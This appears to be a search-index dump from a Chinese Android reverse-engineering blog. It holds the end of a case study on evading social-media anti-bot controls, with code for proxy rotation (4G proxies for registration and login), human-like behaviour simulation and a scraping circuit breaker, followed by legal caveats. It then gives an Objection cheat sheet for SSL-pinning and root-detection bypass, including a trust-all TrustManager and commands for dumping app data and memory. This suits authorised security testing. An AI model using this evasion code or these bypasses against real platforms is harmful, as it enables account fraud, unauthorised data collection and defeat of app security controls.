最贵但最真实，适合高风控场景（注册、登录） - 隧道代理: 每次请求自动换 IP，适合高频场景 \"\"\" class ProxyStrategy: \"\"\"根据任务类型自动选择代理\"\"\" STRATEGY_MAP = { \"register\": \"4g\", # 注册用 4G 代理 \"login\": \"4g\", # 登录用 4G 代理 \"feed\": \"residential\", # 刷 Feed 用住宅代理 \"search\": \"residential\", \"detail\": \"datacenter\", # 详情页可以用机房代理 \"media\": \"datacenter\", # 下载媒体文件用机房代理 } def __init__(self, proxy_pools): \"\"\" proxy_pools: { \"4g\": [\"socks5://...\"], \"residential\": [\"http://...\"], \"datacenter\": [\"http://...\"], } \"\"\" self.pools = proxy_pools def get_proxy(self, task_type): proxy_type = self.STRATEGY_MAP.get(task_type, \"residential\") pool = self.pools.get(proxy_type, []) if pool: return random.choice(pool) return None ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:8:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#82-ip-代理策略"},{"categories":null,"collections":null,"content":"8.3 行为模拟 风控引擎会分析用户的行为模式，纯粹的 API 调用很容易被识别为机器人。以下是关键的行为模拟策略： \"\"\" behavior_simulator.py - 行为模拟器 \"\"\" import random import time import numpy as np class BehaviorSimulator: \"\"\"模拟真实用户行为模式\"\"\" def __init__(self): # 真实用户的操作间隔通常符合对数正态分布 self.mu = 1.5 # 对数均值 self.sigma = 0.8 # 对数标准差 def random_delay(self, min_sec=1.0, max_sec=15.0): \"\"\"生成符合真实用户分布的随机延迟\"\"\" delay = np.random.lognormal(self.mu, self.sigma) return max(min_sec, min(delay, max_sec)) def simulate_session(self): \"\"\" 模拟一次完整的用户会话 真实用户的行为序列: 1. 打开 App -\u003e 刷 Feed (5-20 条) 2. 偶尔点进详情页 (30% 概率) 3. 极少数会评论/点赞 (5% 概率) 4. 浏览一段时间后退出 (5-30 分钟) \"\"\" actions = [] # 刷 Feed feed_count = random.randint(5, 20) for i in range(feed_count): actions.append({ \"type\": \"scroll_feed\", \"delay\": self.random_delay(1.0, 5.0), }) # 30% 概率进入详情 if random.random() \u003c 0.3: view_time = self.random_delay(3.0, 30.0) actions.append({ \"type\": \"view_detail\", \"delay\": view_time, }) # 查看详情时 15% 概率点赞 if random.random() \u003c 0.15: actions.append({ \"type\": \"like\", \"delay\": self.random_delay(0.5, 2.0), }) return actions def get_active_hours(self): \"\"\" 返回当前时间是否在活跃时段 真实用户活跃时段分布: - 早高峰: 07:00 - 09:00 - 午间: 12:00 - 14:00 - 晚高峰: 19:00 - 23:00 - 深夜: 几乎无活动 \"\"\" hour = time.localtime().tm_hour active_periods = [ (7, 9, 0.7), # 早高峰，70% 活跃度 (9, 12, 0.4), # 上午，40% 活跃度 (12, 14, 0.8), # 午间，80% 活跃度 (14, 19, 0.5), # 下午，50% 活跃度 (19, 23, 1.0), # 晚高峰，100% 活跃度 (23, 24, 0.3), # 深夜，30% 活跃度 (0, 7, 0.05), # 凌晨，5% 活跃度 ] for start, end, prob in active_periods: if start \u003c= hour \u003c end: return random.random() \u003c prob return False ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:8:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#83-行为模拟"},{"categories":null,"collections":null,"content":"8.4 异常处理与熔断 \"\"\" circuit_breaker.py - 熔断器 当错误率超过阈值时自动暂停采集，避免进一步触发风控 \"\"\" import time from collections import deque class CircuitBreaker: \"\"\"采集熔断器\"\"\" # 状态定义 CLOSED = \"closed\" # 正常工作 OPEN = \"open\" # 熔断，停止请求 HALF_OPEN = \"half_open\" # 试探性恢复 def __init__(self, failure_threshold=5, recovery_timeout=300, window_size=60): \"\"\" failure_threshold: 窗口期内允许的最大失败次数 recovery_timeout: 熔断后恢复等待时间（秒） window_size: 统计窗口大小（秒） \"\"\" self.failure_threshold = failure_threshold self.recovery_timeout = recovery_timeout self.window_size = window_size self.state = self.CLOSED self.failures = deque() # (timestamp, error_type) self.last_failure_time = 0 def can_proceed(self): \"\"\"检查是否可以继续请求\"\"\" if self.state == self.CLOSED: return True elif self.state == self.OPEN: if time.time() - self.last_failure_time \\ \u003e self.recovery_timeout: self.state = self.HALF_OPEN return True return False else: # HALF_OPEN return True def record_success(self): \"\"\"记录成功请求\"\"\" if self.state == self.HALF_OPEN: self.state = self.CLOSED self.failures.clear() def record_failure(self, error_type=\"unknown\"): \"\"\"记录失败请求\"\"\" now = time.time() self.failures.append((now, error_type)) self.last_failure_time = now # 清除窗口外的旧记录 while self.failures and \\ now - self.failures[0][0] \u003e self.window_size: self.failures.popleft() # 检查是否需要熔断 if len(self.failures) \u003e= self.failure_threshold: self.state = self.OPEN print(f\"[CircuitBreaker] OPEN - \" f\"{len(self.failures)} failures in \" f\"{self.window_size}s window. \" f\"Cooling down for {self.recovery_timeout}s.\") if self.state == self.HALF_OPEN: self.state = self.OPEN ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:8:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#84-异常处理与熔断"},{"categories":null,"collections":null,"content":"9. 法律与伦理提醒 本节非常重要。在进行任何社交媒体 App 的逆向工程和数据采集之前，请务必了解相关的法律法规和平台政策。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:9:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#9-法律与伦理提醒"},{"categories":null,"collections":null,"content":"9.1 法律红线 法律法规 适用范围 关键条款 《中华人民共和国网络安全法》 中国 禁止未经授权侵入他人网络或干扰网络正常功能 《中华人民共和国数据安全法》 中国 规范数据收集、存储、使用、传输等行为 《个人信息保护法》(PIPL) 中国 保护个人信息，限制数据处理行为 CFAA (计算机欺诈和滥用法) 美国 未经授权访问计算机系统属于联邦犯罪 GDPR (通用数据保护条例) 欧盟 严格保护个人数据的收集和处理 《反不正当竞争法》 中国 爬取竞争对手数据可能构成不正当竞争 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:9:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#91-法律红线"},{"categories":null,"collections":null,"content":"9.2 行为边界 ┌─────────────────────────────────────────────────────────────────┐ │ 行为合法性评估 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ✅ 通常合法/低风险 │ │ ├── 安全研究与漏洞发现（遵循负责任披露原则） │ │ ├── 学术研究目的的小规模数据分析 │ │ ├── 对自己账号和数据的分析 │ │ └── 在授权范围内的渗透测试 │ │ │ │ ⚠️ 灰色地带/需谨慎 │ │ ├── 大规模公开数据的自动化采集 │ │ ├── 绕过技术限制获取数据 │ │ └── 未经平台许可的第三方客户端开发 │ │ │ │ ❌ 通常违法/高风险 │ │ ├── 采集和贩卖用户个人信息（隐私数据） │ │ ├── 破解付费功能或版权内容 │ │ ├── 利用逆向成果进行欺诈、刷量等黑产活动 │ │ ├── 大规模账号注册和养号 │ │ └── 干扰平台正常运营（DDoS、资源耗尽等） │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:9:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#92-行为边界"},{"categories":null,"collections":null,"content":"9.3 负责任的安全研究原则 最小化原则: 只采集研究所需的最少数据量，不过度获取 不留痕迹: 不修改、删除或损害目标系统的数据和功能 负责任披露: 发现安全漏洞后，通过正当渠道报告给平台安全团队 数据保护: 对研究过程中获取的用户数据进行严格保密，研究结束后及时销毁 遵守条款: 了解并尽量遵守平台的服务条款和 robots.txt 规则 目的正当: 确保研究目的是为了改善安全性，而非用于违法活动 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:9:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#93-负责任的安全研究原则"},{"categories":null,"collections":null,"content":"9.4 漏洞报告渠道 发现安全问题后，应通过平台官方的安全漏洞报告渠道进行负责任的披露： 字节跳动: https://security.bytedance.com 腾讯: https://security.tencent.com Meta: https://www.facebook.com/whitehat X (Twitter): https://hackerone.com/x 快手: https://security.kuaishou.com ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:9:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#94-漏洞报告渠道"},{"categories":null,"collections":null,"content":"总结 社交媒体 App 的逆向是典型的\"数据在客户端，但由服务器规则校验\"的场景。其核心是对抗，而不只是解密。 签名是核心: 逆向签名算法是所有工作的基础。大部分 App 将签名逻辑放在 Native SO 中并使用 OLLVM/VMP 保护，需要结合静态分析和动态调试。 设备指纹是基石: 理解 App 如何采集设备信息，才能正确伪造身份，避免被关联封禁。 动静结合: 需要反复在静态分析（Ghidra/IDA）和动态验证（Frida）之间切换。 风控是持续的斗争: 即使你成功逆向了签名，服务器端的风控策略也在不断演进。这是一个长期的、动态的攻防过程。 工程化思维: 从单次 Hook 到生产级采集系统，需要考虑代理管理、账号池、行为模拟、熔断机制等工程问题。 法律底线: 始终确保你的行为在法律和伦理的框架之内。安全研究的目的是让系统更安全，而非造成破坏。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:10:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#总结"},{"categories":null,"collections":null,"content":"Objection 常用技巧 (Objection Snippets) 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Frida 完整指南 - Objection 基于 Frida 构建 ADB 速查手册 - 设备连接与应用启动 Objection 是一个基于 Frida 开发的运行时移动端探索工具包。它提供了类似于 shell 的交互式命令行，无需编写 JavaScript 代码即可完成大部分常见的逆向任务。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:0:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#objection-常用技巧-objection-snippets"},{"categories":null,"collections":null,"content":"Objection 简介与安装 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:1:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#objection-简介与安装"},{"categories":null,"collections":null,"content":"什么是 Objection Objection 是由 @sensepost 开发的开源工具，对 Frida 做了一层高级封装。它的核心优势在于： 特性 说明 零代码 Hook 无需编写 JavaScript，输入命令即可 Hook 任意类/方法 交互式 Shell 类似终端的命令行界面，支持 Tab 补全和历史记录 一键绕过 内置 SSL Pinning、Root 检测等常用绕过方案 跨平台 同时支持 Android 和 iOS 可扩展 支持导入自定义 Frida 脚本，灵活扩展功能 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:1:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#什么是-objection"},{"categories":null,"collections":null,"content":"安装 # 基础安装 pip3 install objection # 升级到最新版 pip3 install --upgrade objection # 验证安装 objection version 注意: Objection 依赖 Frida，安装时会自动拉取对应版本的 frida-tools。请确保本机 Frida 版本与设备上 frida-server 版本一致。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:1:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#安装"},{"categories":null,"collections":null,"content":"连接设备 # 标准方式：附加到正在运行的应用 objection -g com.example.app explore # 以 Spawn 模式启动（推荐，可在应用启动前注入） objection -g com.example.app explore --startup-command \"android sslpinning disable\" # 指定设备（多台设备连接时） objection -S \u003cdevice_id\u003e -g com.example.app explore # 通过网络连接远程 frida-server objection -N -h 192.168.1.100 -p 27042 -g com.example.app explore 连接成功后会进入交互式 Shell，提示符类似： com.example.app on (google: 13) [usb] # ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:1:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#连接设备"},{"categories":null,"collections":null,"content":"基础命令大全 以下按功能分类整理了 Objection 中最常用的命令。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#基础命令大全"},{"categories":null,"collections":null,"content":"环境信息 命令 说明 env 显示应用的沙箱路径（data/cache/外部存储等） android hooking get current_activity 获取当前前台 Activity android hooking list activities 列出 AndroidManifest 中声明的所有 Activity android hooking list services 列出所有已注册的 Service android hooking list receivers 列出所有已注册的 BroadcastReceiver ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#环境信息"},{"categories":null,"collections":null,"content":"类与方法搜索 命令 说明 android hooking search classes \u003ckeyword\u003e 模糊搜索已加载的类 android hooking search methods \u003ckeyword\u003e 模糊搜索方法名 android hooking list classes 列出所有已加载的类（输出量巨大，建议重定向） android hooking list class_methods \u003cclass\u003e 列出指定类的全部方法 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#类与方法搜索"},{"categories":null,"collections":null,"content":"Hook 操作 命令 说明 android hooking watch class \u003cclass\u003e Hook 整个类的所有方法 android hooking watch class_method \u003cmethod\u003e --dump-args --dump-return --dump-backtrace Hook 指定方法，打印参数、返回值和调用栈 android hooking set return_value \u003cmethod\u003e \u003cvalue\u003e 强制设置方法的返回值 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#hook-操作"},{"categories":null,"collections":null,"content":"安全绕过 命令 说明 android sslpinning disable 禁用 SSL Pinning android root disable 绕过 Root 检测 android root simulate 模拟非 Root 环境 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#安全绕过"},{"categories":null,"collections":null,"content":"文件系统 命令 说明 ls [path] 列出目录内容 cd \u003cpath\u003e 切换目录 pwd 显示当前工作目录 cat \u003cfile\u003e 查看文件内容 file download \u003cremote\u003e [local] 下载文件到本机 file upload \u003clocal\u003e \u003cremote\u003e 上传文件到设备 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:5","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#文件系统"},{"categories":null,"collections":null,"content":"内存操作 命令 说明 memory list modules 列出所有已加载的 SO 库 memory list exports \u003cmodule\u003e 列出指定模块的导出函数 memory dump all \u003clocal_file\u003e Dump 整个进程内存 memory dump from_base \u003caddr\u003e \u003csize\u003e \u003cfile\u003e 从指定地址 Dump 指定大小的内存 memory search \"\u003cpattern\u003e\" 在内存中搜索字符串或 hex 模式 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:6","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#内存操作"},{"categories":null,"collections":null,"content":"堆操作 命令 说明 android heap search instances \u003cclass\u003e 在堆中搜索指定类的实例 android heap execute \u003chashcode\u003e \u003cmethod\u003e 调用实例的方法 android heap evaluate \u003chashcode\u003e 进入 JavaScript 交互模式操作实例 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:7","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#堆操作"},{"categories":null,"collections":null,"content":"其他实用命令 命令 说明 import \u003cscript.js\u003e 导入自定义 Frida 脚本 jobs list 列出当前运行的后台任务（如 Hook） jobs kill \u003cjob_id\u003e 停止指定的后台任务 exit 退出 Objection reconnect 重新连接到应用 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:2:8","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#其他实用命令"},{"categories":null,"collections":null,"content":"SSL Pinning 绕过 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:3:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#ssl-pinning-绕过"},{"categories":null,"collections":null,"content":"一键禁用 android sslpinning disable 执行后 Objection 会自动 Hook 以下常见的 SSL Pinning 实现： Hook 目标 说明 TrustManagerFactory 替换系统默认的信任管理器 X509TrustManager.checkServerTrusted() 使证书校验直接通过 OkHttp CertificatePinner 绕过 OkHttp 的证书锁定 SSLContext.init() 注入自定义 TrustManager WebViewClient.onReceivedSslError() WebView 中忽略 SSL 错误 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:3:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#一键禁用"},{"categories":null,"collections":null,"content":"工作原理 Objection 底层会注入一段 Frida 脚本，将所有证书校验相关的方法替换为空实现（直接返回成功）。等效于手动编写以下 Frida 代码： // Objection 底层做的事情（简化版） Java.perform(function() { var TrustManager = Java.registerClass({ name: 'com.sensepost.BypassTrustManager', implements: [Java.use('javax.net.ssl.X509TrustManager')], methods: { checkClientTrusted: function(chain, authType) { }, checkServerTrusted: function(chain, authType) { }, getAcceptedIssuers: function() { return []; } } }); }); ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:3:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#工作原理"},{"categories":null,"collections":null,"content":"配合 Burp Suite 抓包 # 1. 在设备上设置代理 adb shell settings put global http_proxy 192.168.1.100:8080 # 2. 以 Spawn 模式启动并自动禁用 SSL Pinning objection -g com.example.app explore --startup-command \"android sslpinning disable\" # 3. 操作 App，在 Burp 中观察流量 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:3:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#配合-burp-suite-抓包"},{"categories":null,"collections":null,"content":"常见问题排查 问题 解决方案 禁用后仍然无法抓包 检查代理设置是否正确；确认 Burp 证书已安装为系统级证书 应用使用自定义 SSL 库 需要手动定位并 Hook 自定义校验函数 Flutter 应用抓不到包 Flutter 使用 BoringSSL，需要专用脚本 Hook ssl_verify_peer_cert 应用使用 Network Security Config Android 7+ 需将 Burp CA 证书安装到系统证书目录 Hook 生效但请求超时 检查设备和代理主机是否在同一网络，防火墙是否放行 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:3:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#常见问题排查"},{"categories":null,"collections":null,"content":"Root 检测绕过 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:4:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#root-检测绕过"},{"categories":null,"collections":null,"content":"基本命令 # 禁用常见的 Root 检测 android root disable # 模拟非 Root 环境 android root simulate ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:4:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#基本命令"},{"categories":null,"collections":null,"content":"Root 检测常见手段 应用通常通过以下方式检测 Root，Objection 会逐一进行绕过： 检测方式 说明 Objection 绕过原理 检查 su 二进制文件 查找 /system/bin/su 等路径 Hook File.exists() 对 su 路径返回 false 检查 Build.TAGS 检查是否包含 test-keys Hook 返回 release-keys 检查包管理器 检测 Magisk/SuperSU 等包名 Hook PackageManager.getPackageInfo() 抛出 NameNotFoundException 检查可写系统分区 尝试写入 /system Hook 文件操作相关方法 执行 which su 通过 Runtime.exec 执行命令 Hook Runtime.exec() 过滤敏感命令 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:4:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#root-检测常见手段"},{"categories":null,"collections":null,"content":"应对自定义 Root 检测 当内置绕过不够用时，可以手动定位检测函数： # 搜索可能的 Root 检测类 android hooking search classes root android hooking search classes RootDetect android hooking search classes SafetyNet android hooking search classes integrity # 搜索相关方法 android hooking search methods isRooted android hooking search methods checkRoot android hooking search methods isDeviceRooted # 找到目标后直接修改返回值 android hooking set return_value com.example.app.Security.isRooted false android hooking set return_value com.example.app.Security.checkRoot false ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:4:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#应对自定义-root-检测"},{"categories":null,"collections":null,"content":"SafetyNet / Play Integrity 绕过 # 搜索 SafetyNet 相关类 android hooking search classes SafetyNet android hooking search classes PlayIntegrity # Hook SafetyNet 回调，观察返回结果 android hooking watch class_method com.google.android.gms.safetynet.SafetyNetClient.attest --dump-args --dump-return 注意: SafetyNet/Play Integrity 涉及服务端验证，单纯 Hook 客户端可能不够。生产级绕过通常需要配合 Magisk + 自定义模块。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:4:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#safetynet--play-integrity-绕过"},{"categories":null,"collections":null,"content":"文件系统探索 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:5:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#文件系统探索"},{"categories":null,"collections":null,"content":"基本导航 # 查看应用沙箱环境变量 env # 输出示例： # Name Path # ---- ---- # filesDirectory /data/data/com.example.app/files # cacheDirectory /data/data/com.example.app/cache # externalCacheDirectory /storage/emulated/0/Android/data/com.example.app/cache # codeCacheDirectory /data/data/com.example.app/code_cache # 导航到应用数据目录 cd /data/data/com.example.app ls ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:5:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#基本导航"},{"categories":null,"collections":null,"content":"关键目录与文件 路径 内容 常见敏感信息 shared_prefs/ SharedPreferences XML 文件 Token、用户配置、加密密钥 databases/ SQLite 数据库文件 用户数据、聊天记录、缓存数据 files/ 应用自定义文件 日志、配置、下载内容 cache/ 缓存目录 网络响应缓存、图片缓存 lib/ Native SO 库 加密算法实现、核心逻辑 code_cache/ DEX 缓存 动态加载的 DEX 文件 app_webview/ WebView 数据 Cookies、Local Storage ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:5:2","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#关键目录与文件"},{"categories":null,"collections":null,"content":"实用操作 # 浏览 SharedPreferences ls shared_prefs/ cat shared_prefs/app_config.xml # 下载数据库到本机分析 file download /data/data/com.example.app/databases/app.db ./app.db # 下载整个 SharedPreferences 目录 file download /data/data/com.example.app/shared_prefs/ ./shared_prefs/ # 上传修改后的配置文件 file upload ./modified_config.xml /data/data/com.example.app/shared_prefs/config.xml # 查看外部存储 ls /storage/emulated/0/Android/data/com.example.app/ ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:5:3","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#实用操作"},{"categories":null,"collections":null,"content":"自动化文件收集脚本 启动 Objection 时可以用 --startup-command 批量执行： objection -g com.example.app explore \\ --startup-command \"ls /data/data/com.example.app/shared_prefs/\" \\ --startup-command \"ls /data/data/com.example.app/databases/\" ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:5:4","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#自动化文件收集脚本"},{"categories":null,"collections":null,"content":"内存操作 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:6:0","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#内存操作-1"},{"categories":null,"collections":null,"content":"列出已加载模块 # 列出所有加载的 SO 库 memory list modules # 输出示例： # Name Base Size Path # -------------------------- ---------- ------ --------------------------------- # libnative-lib.so 0x7b12345000 0x50000 /data/app/.../lib/arm64/libnative-lib.so # libssl.so 0x7b23456000 0x80000 /system/lib64/libssl.so # 列出指定模块的导出函数 memory list exports libnative-lib.so # 输出示例： # Type Name Address # -------- ---------------------------- ----------- # function Java_com_example_encrypt 0x7b12347a00 # function Java_com_example_decrypt 0x7b12347e00 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:6:1","tags":["Native层","Frida脚本","Frida","SSL Pinning","加密分析","Hook"],"title":"Objection 常用技巧 (Objection Snippets)","uri":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/#列出已加载模块"},{"categories":null,"collections":null,"content":"内存 Dump # 从指定基址 Dump 内存 memory dump from_base 0x7b12345000 0x50000 /tmp/libnative-lib.so # Dump 整个进程内存（文件会很大） memory dump all /tmp/full_dump.bin 用途: Dump 出的 SO 文件可以用 IDA Pro 或 Ghidra 进行静态分析。对于加壳应用，运行时 Dump 可以获取脱壳后的 DEX/SO。 ","date":"2025-02-09","objectID":"/reverse_engineering/android/01-recipes/scripts/objection_snippets/:6:2","tags":["Native层","Frida脚本","Frida","SSL 